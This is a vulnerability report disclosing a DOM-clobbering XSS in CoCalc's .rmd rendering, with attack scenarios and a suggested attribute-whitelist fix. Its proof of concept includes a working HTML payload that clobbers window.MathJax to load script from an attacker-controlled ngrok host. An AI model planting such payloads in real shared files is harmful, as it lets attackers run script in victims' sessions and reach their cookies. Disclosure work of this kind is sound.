Report Cocalc 2

XSS on project pages through shared .rmd file rendering through DOM Clobbering

Summary

The web portal for projects on CoCalc allows rendering HTML tags within .rmd files with an improperly sanitized id and name attributes. This vulnerability enables attackers to execute cross-site scripting (XSS) attacks on CoCalc users.

Details

Attack

The rendering of .rmd files on project pages lacks proper sanitization of HTML tags, allowing attackers to inject HTML tags with preserved name and id attributes. This vulnerability poses a threat of DOM clobbering attacks. For example, an attacker can inject and render an HTML tag like <a id="MathJax">, which will clobber the window.MathJax property lookup. As a result, the property lookup will return the attacker-injected HTML tag instead of being undefined. DOM clobbering is a technique where HTML structure manipulations unintentionally alter JavaScript object properties. For a comprehensive explanation of DOM clobbering, refer to DOM Clobbering Wiki. This vulnerability allows attackers to access the cocalc.com cookies and the parent context through window.parent.

DOM Clobbering

Combined with html injection on the cocalc page, the attack can be achieved though the DOM Clobbering gadgets on MathJax library. The rendered HTML file depend on the MathJax 2.7.2 library.

Prove-of-Vulnerability

This vulnerability can impact CoCalc users in several ways:

Shared Projects. When a project is shared with collaborators, an attacker can upload a malicious .rmd file to the project server. If a collaborator views the rendered .rmd file, they will be exposed to the attack.

Course Setup. CoCalc allows setting up courses where .rmd files can be shared among students and teachers. These shared files can exploit the vulnerability, affecting anyone who views them.

Downloaded Files. Users who download and import a shared .rmd file from the internet, which may contain malicious attack vectors, will also be susceptible to this vulnerability.

In contrast, JupyterLab properly sanitizes all XSS vectors during the render process of Markdown files, effectively protecting users from such attacks.

Patch

A whitelist of HTML attributes should be adopted in the client-side sanitizer to ensure proper sanitization of HTML tags in .rmd files before rendering.

PoC

Rendering an .rmd file with the following payload embedded will trigger the XSS attack:

The payload:

<a id="MathJax"></a>
<a id="MathJax" name="root" href="https://fdd34cd0d12b.ngrok.app"></a>

This DOM clobbering gadget allows an attacker to load //config/TeX-AMS-MML_HTMLorMML.js from an attacker-controlled server (e.g., https://fdd34cd0d12b.ngrok.app). Note that this server is temporarily set up for the proof-of-concept for the developer. If the server is no longer available, please let me know. Ideally, rendering the .rmd file with the above attack vector should alert GG! after saving and rendering.